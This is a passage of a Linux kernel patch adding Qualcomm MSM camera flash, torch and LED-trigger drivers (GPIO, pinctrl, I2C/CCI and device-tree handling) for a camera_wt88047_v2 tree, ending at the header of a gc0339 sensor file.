MSM_CAMERA_LED_INIT: + if (fctrl->func_tbl->flash_led_init) + rc = fctrl->func_tbl->flash_led_init(fctrl); + break; + + case MSM_CAMERA_LED_RELEASE: + if (fctrl->func_tbl->flash_led_release) + rc = fctrl->func_tbl-> + flash_led_release(fctrl); + break; + + case MSM_CAMERA_LED_OFF: + if (fctrl->func_tbl->flash_led_off) + rc = fctrl->func_tbl->flash_led_off(fctrl); + break; + + case MSM_CAMERA_LED_LOW: + if (fctrl->func_tbl->flash_led_low) + rc = fctrl->func_tbl->flash_led_low(fctrl); + break; + + case MSM_CAMERA_LED_HIGH: + if (fctrl->func_tbl->flash_led_high) + rc = fctrl->func_tbl->flash_led_high(fctrl); + break; + default: + rc = -EFAULT; + break; + } + CDBG("flash_set_led_state: return %d\n", rc); + return rc; +} +static int msm_flash_pinctrl_init(struct msm_led_flash_ctrl_t *ctrl) +{ + struct msm_pinctrl_info *flash_pctrl = NULL; + flash_pctrl = &ctrl->pinctrl_info; + if (flash_pctrl->use_pinctrl != true) { + pr_err("%s: %d PINCTRL is not enables in Flash driver node\n", + __func__, __LINE__); + return 0; + } + flash_pctrl->pinctrl = devm_pinctrl_get(&ctrl->pdev->dev); + + if (IS_ERR_OR_NULL(flash_pctrl->pinctrl)) { + pr_err("%s:%d Getting pinctrl handle failed\n", + __func__, __LINE__); + return -EINVAL; + } + flash_pctrl->gpio_state_active = pinctrl_lookup_state( + flash_pctrl->pinctrl, + CAM_FLASH_PINCTRL_STATE_DEFAULT); + + if (IS_ERR_OR_NULL(flash_pctrl->gpio_state_active)) { + pr_err("%s:%d Failed to get the active state pinctrl handle\n", + __func__, __LINE__); + return -EINVAL; + } + flash_pctrl->gpio_state_suspend = pinctrl_lookup_state( + flash_pctrl->pinctrl, + CAM_FLASH_PINCTRL_STATE_SLEEP); + + if (IS_ERR_OR_NULL(flash_pctrl->gpio_state_suspend)) { + pr_err("%s:%d Failed to get the suspend state pinctrl handle\n", + __func__, __LINE__); + return -EINVAL; + } + return 0; +} + + +int msm_flash_led_init(struct msm_led_flash_ctrl_t *fctrl) +{ + int rc = 0; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + CDBG("%s:%d called\n", __func__, __LINE__); + + flashdata = fctrl->flashdata; + power_info = &flashdata->power_info; + fctrl->led_state = MSM_CAMERA_LED_RELEASE; + if (power_info->gpio_conf->cam_gpiomux_conf_tbl != NULL) { + pr_err("%s:%d mux install\n", __func__, __LINE__); + msm_gpiomux_install( + (struct msm_gpiomux_config *) + power_info->gpio_conf->cam_gpiomux_conf_tbl, + power_info->gpio_conf->cam_gpiomux_conf_tbl_size); + } + + /* CCI Init */ + if (fctrl->flash_device_type == MSM_CAMERA_PLATFORM_DEVICE) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_util( + fctrl->flash_i2c_client, MSM_CCI_INIT); + if (rc < 0) { + pr_err("cci_init failed\n"); + return rc; + } + } + rc = msm_camera_request_gpio_table( + power_info->gpio_conf->cam_gpio_req_tbl, + power_info->gpio_conf->cam_gpio_req_tbl_size, 1); + if (rc < 0) { + pr_err("%s: request gpio failed\n", __func__); + return rc; + } + + if (fctrl->pinctrl_info.use_pinctrl == true) { + CDBG("%s:%d PC:: flash pins setting to active state", + __func__, __LINE__); + rc = pinctrl_select_state(fctrl->pinctrl_info.pinctrl, + fctrl->pinctrl_info.gpio_state_active); + if (rc) + pr_err("%s:%d cannot set pin to active state", + __func__, __LINE__); + } + msleep(20); + + CDBG("before FL_RESET\n"); + if (power_info->gpio_conf->gpio_num_info-> + valid[SENSOR_GPIO_FL_RESET] == 1) + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_RESET], + GPIO_OUT_HIGH); + + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_EN], + GPIO_OUT_HIGH); + + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_NOW], + GPIO_OUT_HIGH); + + if (fctrl->flash_i2c_client && fctrl->reg_setting) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( + fctrl->flash_i2c_client, + fctrl->reg_setting->init_setting); + if (rc < 0) + pr_err("%s:%d failed\n", __func__, __LINE__); + } + fctrl->led_state = MSM_CAMERA_LED_INIT; + return rc; +} + +int msm_flash_led_release(struct msm_led_flash_ctrl_t *fctrl) +{ + int rc = 0, ret = 0; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + + flashdata = fctrl->flashdata; + power_info = &flashdata->power_info; + CDBG("%s:%d called\n", __func__, __LINE__); + if (!fctrl) { + pr_err("%s:%d fctrl NULL\n", __func__, __LINE__); + return -EINVAL; + } + + if (fctrl->led_state != MSM_CAMERA_LED_INIT) { + pr_err("%s:%d invalid led state\n", __func__, __LINE__); + return -EINVAL; + } + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_EN], + GPIO_OUT_LOW); + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_NOW], + GPIO_OUT_LOW); + if (power_info->gpio_conf->gpio_num_info-> + valid[SENSOR_GPIO_FL_RESET] == 1) + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_RESET], + GPIO_OUT_LOW); + + if (fctrl->pinctrl_info.use_pinctrl == true) { + ret = pinctrl_select_state(fctrl->pinctrl_info.pinctrl, + fctrl->pinctrl_info.gpio_state_suspend); + if (ret) + pr_err("%s:%d cannot set pin to suspend state", + __func__, __LINE__); + } + rc = msm_camera_request_gpio_table( + power_info->gpio_conf->cam_gpio_req_tbl, + power_info->gpio_conf->cam_gpio_req_tbl_size, 0); + if (rc < 0) { + pr_err("%s: request gpio failed\n", __func__); + return rc; + } + + fctrl->led_state = MSM_CAMERA_LED_RELEASE; + /* CCI deInit */ + if (fctrl->flash_device_type == MSM_CAMERA_PLATFORM_DEVICE) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_util( + fctrl->flash_i2c_client, MSM_CCI_RELEASE); + if (rc < 0) + pr_err("cci_deinit failed\n"); + } + + return 0; +} + +int msm_flash_led_off(struct msm_led_flash_ctrl_t *fctrl) +{ + int rc = 0; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + + flashdata = fctrl->flashdata; + power_info = &flashdata->power_info; + CDBG("%s:%d called\n", __func__, __LINE__); + if (!fctrl) { + pr_err("%s:%d fctrl NULL\n", __func__, __LINE__); + return -EINVAL; + } + if (fctrl->flash_i2c_client && fctrl->reg_setting) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( + fctrl->flash_i2c_client, + fctrl->reg_setting->off_setting); + if (rc < 0) + pr_err("%s:%d failed\n", __func__, __LINE__); + } + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_NOW], + GPIO_OUT_LOW); + + return rc; +} + +int msm_flash_led_low(struct msm_led_flash_ctrl_t *fctrl) +{ + int rc = 0; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + CDBG("%s:%d called\n", __func__, __LINE__); + + flashdata = fctrl->flashdata; + power_info = &flashdata->power_info; + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_EN], + GPIO_OUT_HIGH); + + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_NOW], + GPIO_OUT_HIGH); + + + if (fctrl->flash_i2c_client && fctrl->reg_setting) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( + fctrl->flash_i2c_client, + fctrl->reg_setting->low_setting); + if (rc < 0) + pr_err("%s:%d failed\n", __func__, __LINE__); + } + + return rc; +} + +int msm_flash_led_high(struct msm_led_flash_ctrl_t *fctrl) +{ + int rc = 0; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + CDBG("%s:%d called\n", __func__, __LINE__); + + flashdata = fctrl->flashdata; + power_info = &flashdata->power_info; + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_EN], + GPIO_OUT_HIGH); + + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_NOW], + GPIO_OUT_HIGH); + + if (fctrl->flash_i2c_client && fctrl->reg_setting) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( + fctrl->flash_i2c_client, + fctrl->reg_setting->high_setting); + if (rc < 0) + pr_err("%s:%d failed\n", __func__, __LINE__); + } + + return rc; +} + +static int32_t msm_led_get_dt_data(struct device_node *of_node, + struct msm_led_flash_ctrl_t *fctrl) +{ + int32_t rc = 0, i = 0; + struct msm_camera_gpio_conf *gconf = NULL; + struct device_node *flash_src_node = NULL; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + uint32_t count = 0; + uint16_t *gpio_array = NULL; + uint16_t gpio_array_size = 0; + uint32_t id_info[3]; + + CDBG("called\n"); + + if (!of_node) { + pr_err("of_node NULL\n"); + return -EINVAL; + } + + fctrl->flashdata = kzalloc(sizeof( + struct msm_camera_sensor_board_info), + GFP_KERNEL); + if (!fctrl->flashdata) { + pr_err("%s failed %d\n", __func__, __LINE__); + return -ENOMEM; + } + + flashdata = fctrl->flashdata; + power_info = &flashdata->power_info; + + rc = of_property_read_u32(of_node, "cell-index", &fctrl->subdev_id); + if (rc < 0) { + pr_err("failed\n"); + return -EINVAL; + } + + CDBG("subdev id %d\n", fctrl->subdev_id); + + rc = of_property_read_string(of_node, "label", + &flashdata->sensor_name); + CDBG("%s label %s, rc %d\n", __func__, + flashdata->sensor_name, rc); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR1; + } + + rc = of_property_read_u32(of_node, "qcom,cci-master", + &fctrl->cci_i2c_master); + CDBG("%s qcom,cci-master %d, rc %d\n", __func__, fctrl->cci_i2c_master, + rc); + if (rc < 0) { + /* Set default master 0 */ + fctrl->cci_i2c_master = MASTER_0; + rc = 0; + } + + fctrl->pinctrl_info.use_pinctrl = false; + fctrl->pinctrl_info.use_pinctrl = of_property_read_bool(of_node, + "qcom,enable_pinctrl"); + if (of_get_property(of_node, "qcom,flash-source", &count)) { + count /= sizeof(uint32_t); + CDBG("count %d\n", count); + if (count > MAX_LED_TRIGGERS) { + pr_err("failed\n"); + return -EINVAL; + } + for (i = 0; i < count; i++) { + flash_src_node = of_parse_phandle(of_node, + "qcom,flash-source", i); + if (!flash_src_node) { + pr_err("flash_src_node NULL\n"); + continue; + } + + rc = of_property_read_string(flash_src_node, + "linux,default-trigger", + &fctrl->flash_trigger_name[i]); + if (rc < 0) { + pr_err("failed\n"); + of_node_put(flash_src_node); + continue; + } + + CDBG("default trigger %s\n", + fctrl->flash_trigger_name[i]); + + rc = of_property_read_u32(flash_src_node, + "qcom,max-current", + &fctrl->flash_op_current[i]); + if (rc < 0) { + pr_err("failed rc %d\n", rc); + of_node_put(flash_src_node); + continue; + } + + of_node_put(flash_src_node); + + CDBG("max_current[%d] %d\n", + i, fctrl->flash_op_current[i]); + + led_trigger_register_simple( + fctrl->flash_trigger_name[i], + &fctrl->flash_trigger[i]); + } + + } else { /*Handle LED Flash Ctrl by GPIO*/ + power_info->gpio_conf = + kzalloc(sizeof(struct msm_camera_gpio_conf), + GFP_KERNEL); + if (!power_info->gpio_conf) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + return rc; + } + gconf = power_info->gpio_conf; + + gpio_array_size = of_gpio_count(of_node); + CDBG("%s gpio count %d\n", __func__, gpio_array_size); + + if (gpio_array_size) { + gpio_array = kzalloc(sizeof(uint16_t) * gpio_array_size, + GFP_KERNEL); + if (!gpio_array) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR4; + } + for (i = 0; i < gpio_array_size; i++) { + gpio_array[i] = of_get_gpio(of_node, i); + CDBG("%s gpio_array[%d] = %d\n", __func__, i, + gpio_array[i]); + } + + rc = msm_camera_get_dt_gpio_req_tbl(of_node, gconf, + gpio_array, gpio_array_size); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR4; + } + + rc = msm_camera_get_dt_gpio_set_tbl(of_node, gconf, + gpio_array, gpio_array_size); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR5; + } + + rc = msm_camera_init_gpio_pin_tbl(of_node, gconf, + gpio_array, gpio_array_size); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR6; + } + } + + flashdata->slave_info = + kzalloc(sizeof(struct msm_camera_slave_info), + GFP_KERNEL); + if (!flashdata->slave_info) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR8; + } + + rc = of_property_read_u32_array(of_node, "qcom,slave-id", + id_info, 3); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR9; + } + fctrl->flashdata->slave_info->sensor_slave_addr = id_info[0]; + fctrl->flashdata->slave_info->sensor_id_reg_addr = id_info[1]; + fctrl->flashdata->slave_info->sensor_id = id_info[2]; + + kfree(gpio_array); + return rc; +ERROR9: + kfree(fctrl->flashdata->slave_info); +ERROR8: + kfree(fctrl->flashdata->power_info.gpio_conf->gpio_num_info); +ERROR6: + kfree(gconf->cam_gpio_set_tbl); +ERROR5: + kfree(gconf->cam_gpio_req_tbl); +ERROR4: + kfree(gconf); +ERROR1: + kfree(fctrl->flashdata); + kfree(gpio_array); + } + return rc; +} + +static struct msm_camera_i2c_fn_t msm_sensor_qup_func_tbl = { + .i2c_read = msm_camera_qup_i2c_read, + .i2c_read_seq = msm_camera_qup_i2c_read_seq, + .i2c_write = msm_camera_qup_i2c_write, + .i2c_write_table = msm_camera_qup_i2c_write_table, + .i2c_write_seq_table = msm_camera_qup_i2c_write_seq_table, + .i2c_write_table_w_microdelay = + msm_camera_qup_i2c_write_table_w_microdelay, +}; + +static struct msm_camera_i2c_fn_t msm_sensor_cci_func_tbl = { + .i2c_read = msm_camera_cci_i2c_read, + .i2c_read_seq = msm_camera_cci_i2c_read_seq, + .i2c_write = msm_camera_cci_i2c_write, + .i2c_write_table = msm_camera_cci_i2c_write_table, + .i2c_write_seq_table = msm_camera_cci_i2c_write_seq_table, + .i2c_write_table_w_microdelay = + msm_camera_cci_i2c_write_table_w_microdelay, + .i2c_util = msm_sensor_cci_i2c_util, + .i2c_write_conf_tbl = msm_camera_cci_i2c_write_conf_tbl, +}; + +#ifdef CONFIG_DEBUG_FS +static int set_led_status(void *data, u64 val) +{ + struct msm_led_flash_ctrl_t *fctrl = + (struct msm_led_flash_ctrl_t *)data; + int rc = -1; + pr_debug("set_led_status: Enter val: %llu", val); + if (!fctrl) { + pr_err("set_led_status: fctrl is NULL"); + return rc; + } + if (!fctrl->func_tbl) { + pr_err("set_led_status: fctrl->func_tbl is NULL"); + return rc; + } + if (val == 0) { + pr_debug("set_led_status: val is disable"); + rc = msm_flash_led_off(fctrl); + } else { + pr_debug("set_led_status: val is enable"); + rc = msm_flash_led_low(fctrl); + } + + return rc; +} + +DEFINE_SIMPLE_ATTRIBUTE(ledflashdbg_fops, + NULL, set_led_status, "%llu\n"); +#endif + +int msm_flash_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + int rc = 0; + struct msm_led_flash_ctrl_t *fctrl = NULL; +#ifdef CONFIG_DEBUG_FS + struct dentry *dentry; +#endif + if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { + pr_err("i2c_check_functionality failed\n"); + goto probe_failure; + } + + fctrl = (struct msm_led_flash_ctrl_t *)(id->driver_data); + if (fctrl->flash_i2c_client) + fctrl->flash_i2c_client->client = client; + /* Set device type as I2C */ + fctrl->flash_device_type = MSM_CAMERA_I2C_DEVICE; + + /* Assign name for sub device */ + snprintf(fctrl->msm_sd.sd.name, sizeof(fctrl->msm_sd.sd.name), + "%s", id->name); + + rc = msm_led_get_dt_data(client->dev.of_node, fctrl); + if (rc < 0) { + pr_err("%s failed line %d\n", __func__, __LINE__); + return rc; + } + + msm_flash_pinctrl_init(fctrl); + if (fctrl->flash_i2c_client != NULL) { + fctrl->flash_i2c_client->client = client; + if (fctrl->flashdata->slave_info->sensor_slave_addr) + fctrl->flash_i2c_client->client->addr = + fctrl->flashdata->slave_info-> + sensor_slave_addr; + } else { + pr_err("%s %s sensor_i2c_client NULL\n", + __func__, client->name); + rc = -EFAULT; + return rc; + } + + if (!fctrl->flash_i2c_client->i2c_func_tbl) + fctrl->flash_i2c_client->i2c_func_tbl = + &msm_sensor_qup_func_tbl; + + rc = msm_led_i2c_flash_create_v4lsubdev(fctrl); +#ifdef CONFIG_DEBUG_FS + dentry = debugfs_create_file("ledflash", S_IRUGO, NULL, (void *)fctrl, + &ledflashdbg_fops); + if (!dentry) + pr_err("Failed to create the debugfs ledflash file"); +#endif + CDBG("%s:%d probe success\n", __func__, __LINE__); + return 0; + +probe_failure: + CDBG("%s:%d probe failed\n", __func__, __LINE__); + return rc; +} + +int msm_flash_probe(struct platform_device *pdev, + const void *data) +{ + int rc = 0; + struct msm_led_flash_ctrl_t *fctrl = + (struct msm_led_flash_ctrl_t *)data; + struct device_node *of_node = pdev->dev.of_node; + struct msm_camera_cci_client *cci_client = NULL; + + if (!of_node) { + pr_err("of_node NULL\n"); + goto probe_failure; + } + fctrl->pdev = pdev; + + rc = msm_led_get_dt_data(pdev->dev.of_node, fctrl); + if (rc < 0) { + pr_err("%s failed line %d rc = %d\n", __func__, __LINE__, rc); + return rc; + } + + msm_flash_pinctrl_init(fctrl); + /* Assign name for sub device */ + snprintf(fctrl->msm_sd.sd.name, sizeof(fctrl->msm_sd.sd.name), + "%s", fctrl->flashdata->sensor_name); + /* Set device type as Platform*/ + fctrl->flash_device_type = MSM_CAMERA_PLATFORM_DEVICE; + + if (NULL == fctrl->flash_i2c_client) { + pr_err("%s flash_i2c_client NULL\n", + __func__); + rc = -EFAULT; + } + + fctrl->flash_i2c_client->cci_client = kzalloc(sizeof( + struct msm_camera_cci_client), GFP_KERNEL); + if (!fctrl->flash_i2c_client->cci_client) { + pr_err("%s failed line %d kzalloc failed\n", + __func__, __LINE__); + return rc; + } + + cci_client = fctrl->flash_i2c_client->cci_client; + cci_client->cci_subdev = msm_cci_get_subdev(); + cci_client->cci_i2c_master = fctrl->cci_i2c_master; + if (fctrl->flashdata->slave_info->sensor_slave_addr) + cci_client->sid = + fctrl->flashdata->slave_info->sensor_slave_addr >> 1; + cci_client->retries = 3; + cci_client->id_map = 0; + + if (!fctrl->flash_i2c_client->i2c_func_tbl) + fctrl->flash_i2c_client->i2c_func_tbl = + &msm_sensor_cci_func_tbl; + + rc = msm_led_flash_create_v4lsubdev(pdev, fctrl); + + CDBG("%s: probe success\n", __func__); + return 0; + +probe_failure: + CDBG("%s probe failed\n", __func__); + return rc; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_torch.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_torch.c new file mode 100644 index 0000000000000..ff6369634541c --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_torch.c @@ -0,0 +1,60 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ + +#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ + +#include +#include "msm_led_flash.h" + +static struct led_trigger *torch_trigger; + +static void msm_led_torch_brightness_set(struct led_classdev *led_cdev, + enum led_brightness value) +{ + if (!torch_trigger) { + pr_err("No torch trigger found, can't set brightness\n"); + return; + } + + led_trigger_event(torch_trigger, value); +}; + +static struct led_classdev msm_torch_led = { + .name = "torch-light", + .brightness_set = msm_led_torch_brightness_set, + .brightness = LED_OFF, +}; + +int32_t msm_led_torch_create_classdev(struct platform_device *pdev, + void *data) +{ + int rc; + struct msm_led_flash_ctrl_t *fctrl = + (struct msm_led_flash_ctrl_t *)data; + + if (!fctrl || !fctrl->torch_trigger) { + pr_err("Invalid fctrl or torch trigger\n"); + return -EINVAL; + } + + torch_trigger = fctrl->torch_trigger; + msm_led_torch_brightness_set(&msm_torch_led, LED_OFF); + + rc = led_classdev_register(&pdev->dev, &msm_torch_led); + if (rc) { + pr_err("Failed to register led dev. rc = %d\n", rc); + return rc; + } + + return 0; +}; diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_trigger.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_trigger.c new file mode 100644 index 0000000000000..ea9bf78e6fe1b --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_trigger.c @@ -0,0 +1,302 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ + +#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ + +#include +#include "msm_led_flash.h" + +#define FLASH_NAME "camera-led-flash" + +/*#define CONFIG_MSMB_CAMERA_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +extern int32_t msm_led_torch_create_classdev( + struct platform_device *pdev, void *data); + +static enum flash_type flashtype; +static struct msm_led_flash_ctrl_t fctrl; + +static int32_t msm_led_trigger_get_subdev_id(struct msm_led_flash_ctrl_t *fctrl, + void *arg) +{ + uint32_t *subdev_id = (uint32_t *)arg; + if (!subdev_id) { + pr_err("%s:%d failed\n", __func__, __LINE__); + return -EINVAL; + } + *subdev_id = fctrl->pdev->id; + CDBG("%s:%d subdev_id %d\n", __func__, __LINE__, *subdev_id); + return 0; +} + +static int32_t msm_led_trigger_config(struct msm_led_flash_ctrl_t *fctrl, + void *data) +{ + int rc = 0; + struct msm_camera_led_cfg_t *cfg = (struct msm_camera_led_cfg_t *)data; + uint32_t i; + uint32_t curr_l, max_curr_l; + CDBG("called led_state %d\n", cfg->cfgtype); + + if (!fctrl) { + pr_err("failed\n"); + return -EINVAL; + } + + switch (cfg->cfgtype) { + case MSM_CAMERA_LED_OFF: + for (i = 0; i < fctrl->num_sources; i++) + if (fctrl->flash_trigger[i]) + led_trigger_event(fctrl->flash_trigger[i], 0); + if (fctrl->torch_trigger) + led_trigger_event(fctrl->torch_trigger, 0); + break; + + case MSM_CAMERA_LED_LOW: + if (fctrl->torch_trigger) { + max_curr_l = fctrl->torch_max_current; + if (cfg->torch_current > 0 && + cfg->torch_current < max_curr_l) { + curr_l = cfg->torch_current; + } else { + curr_l = fctrl->torch_op_current; + pr_debug("LED current clamped to %d\n", + curr_l); + } + led_trigger_event(fctrl->torch_trigger, + curr_l); + } + break; + + case MSM_CAMERA_LED_HIGH: + if (fctrl->torch_trigger) + led_trigger_event(fctrl->torch_trigger, 0); + for (i = 0; i < fctrl->num_sources; i++) + if (fctrl->flash_trigger[i]) { + max_curr_l = fctrl->flash_max_current[i]; + if (cfg->flash_current[i] > 0 && + cfg->flash_current[i] < max_curr_l) { + curr_l = cfg->flash_current[i]; + } else { + curr_l = fctrl->flash_op_current[i]; + pr_debug("LED current clamped to %d\n", + curr_l); + } + led_trigger_event(fctrl->flash_trigger[i], + curr_l); + } + break; + + case MSM_CAMERA_LED_INIT: + case MSM_CAMERA_LED_RELEASE: + for (i = 0; i < fctrl->num_sources; i++) + if (fctrl->flash_trigger[i]) + led_trigger_event(fctrl->flash_trigger[i], 0); + if (fctrl->torch_trigger) + led_trigger_event(fctrl->torch_trigger, 0); + break; + + default: + rc = -EFAULT; + break; + } + CDBG("flash_set_led_state: return %d\n", rc); + return rc; +} + +static const struct of_device_id msm_led_trigger_dt_match[] = { + {.compatible = "qcom,camera-led-flash"}, + {} +}; + +MODULE_DEVICE_TABLE(of, msm_led_trigger_dt_match); + +static struct platform_driver msm_led_trigger_driver = { + .driver = { + .name = FLASH_NAME, + .owner = THIS_MODULE, + .of_match_table = msm_led_trigger_dt_match, + }, +}; + +static int32_t msm_led_trigger_probe(struct platform_device *pdev) +{ + int32_t rc = 0, rc_1 = 0, i = 0; + struct device_node *of_node = pdev->dev.of_node; + struct device_node *flash_src_node = NULL; + uint32_t count = 0; + struct led_trigger *temp = NULL; + + CDBG("called\n"); + + if (!of_node) { + pr_err("of_node NULL\n"); + return -EINVAL; + } + + fctrl.pdev = pdev; + fctrl.num_sources = 0; + + rc = of_property_read_u32(of_node, "cell-index", &pdev->id); + if (rc < 0) { + pr_err("failed\n"); + return -EINVAL; + } + CDBG("pdev id %d\n", pdev->id); + + rc = of_property_read_u32(of_node, + "qcom,flash-type", &flashtype); + if (rc < 0) { + pr_err("flash-type: read failed\n"); + return -EINVAL; + } + + if (of_get_property(of_node, "qcom,flash-source", &count)) { + count /= sizeof(uint32_t); + CDBG("count %d\n", count); + if (count > MAX_LED_TRIGGERS) { + pr_err("invalid count\n"); + return -EINVAL; + } + fctrl.num_sources = count; + for (i = 0; i < count; i++) { + flash_src_node = of_parse_phandle(of_node, + "qcom,flash-source", i); + if (!flash_src_node) { + pr_err("flash_src_node NULL\n"); + continue; + } + + rc = of_property_read_string(flash_src_node, + "linux,default-trigger", + &fctrl.flash_trigger_name[i]); + if (rc < 0) { + pr_err("default-trigger: read failed\n"); + of_node_put(flash_src_node); + continue; + } + + CDBG("default trigger %s\n", + fctrl.flash_trigger_name[i]); + + if (flashtype == GPIO_FLASH) { + /* use fake current */ + fctrl.flash_op_current[i] = LED_FULL; + } else { + rc = of_property_read_u32(flash_src_node, + "qcom,current", + &fctrl.flash_op_current[i]); + rc_1 = of_property_read_u32(flash_src_node, + "qcom,max-current", + &fctrl.flash_max_current[i]); + if ((rc < 0) || (rc_1 < 0)) { + pr_err("current: read failed\n"); + of_node_put(flash_src_node); + continue; + } + } + + of_node_put(flash_src_node); + + CDBG("max_current[%d] %d\n", + i, fctrl.flash_op_current[i]); + + led_trigger_register_simple(fctrl.flash_trigger_name[i], + &fctrl.flash_trigger[i]); + + if (flashtype == GPIO_FLASH) + if (fctrl.flash_trigger[i]) + temp = fctrl.flash_trigger[i]; + } + + /* Torch source */ + flash_src_node = of_parse_phandle(of_node, "qcom,torch-source", + 0); + if (flash_src_node) { + rc = of_property_read_string(flash_src_node, + "linux,default-trigger", + &fctrl.torch_trigger_name); + if (rc < 0) { + pr_err("default-trigger: read failed\n"); + goto torch_failed; + } + + CDBG("default trigger %s\n", + fctrl.torch_trigger_name); + + if (flashtype == GPIO_FLASH) { + /* use fake current */ + fctrl.torch_op_current = LED_HALF; + if (temp) + fctrl.torch_trigger = temp; + else + led_trigger_register_simple( + fctrl.torch_trigger_name, + &fctrl.torch_trigger); + } else { + rc = of_property_read_u32(flash_src_node, + "qcom,current", + &fctrl.torch_op_current); + rc_1 = of_property_read_u32(flash_src_node, + "qcom,max-current", + &fctrl.torch_max_current); + + if ((rc < 0) || (rc_1 < 0)) { + pr_err("current: read failed\n"); + goto torch_failed; + } + + CDBG("torch max_current %d\n", + fctrl.torch_op_current); + + led_trigger_register_simple( + fctrl.torch_trigger_name, + &fctrl.torch_trigger); + } +torch_failed: + of_node_put(flash_src_node); + } + } + + rc = msm_led_flash_create_v4lsubdev(pdev, &fctrl); + if (!rc) + msm_led_torch_create_classdev(pdev, &fctrl); + + return rc; +} + +static int __init msm_led_trigger_add_driver(void) +{ + CDBG("called\n"); + return platform_driver_probe(&msm_led_trigger_driver, + msm_led_trigger_probe); +} + +static struct msm_flash_fn_t msm_led_trigger_func_tbl = { + .flash_get_subdev_id = msm_led_trigger_get_subdev_id, + .flash_led_config = msm_led_trigger_config, +}; + +static struct msm_led_flash_ctrl_t fctrl = { + .func_tbl = &msm_led_trigger_func_tbl, +}; + +module_init(msm_led_trigger_add_driver); +MODULE_DESCRIPTION("LED TRIGGER FLASH"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/gc0339.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/gc0339.c new file mode 100644 index 0000000000000..bada8365fc4c3 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/gc0339.c @@ -0,0 +1,704 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ 